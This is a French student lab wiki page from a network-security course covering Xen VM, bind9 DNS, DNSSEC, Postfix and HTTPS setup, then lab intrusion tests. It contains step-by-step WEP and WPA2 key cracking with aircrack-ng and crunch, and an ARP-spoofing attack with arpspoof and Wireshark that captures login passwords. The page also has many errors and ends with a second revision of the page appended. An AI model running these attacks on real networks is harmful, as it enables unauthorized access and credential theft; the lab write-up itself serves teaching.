HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53951TP sysres IMA2a5 2020/2021 G52020-11-20T10:12:16Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
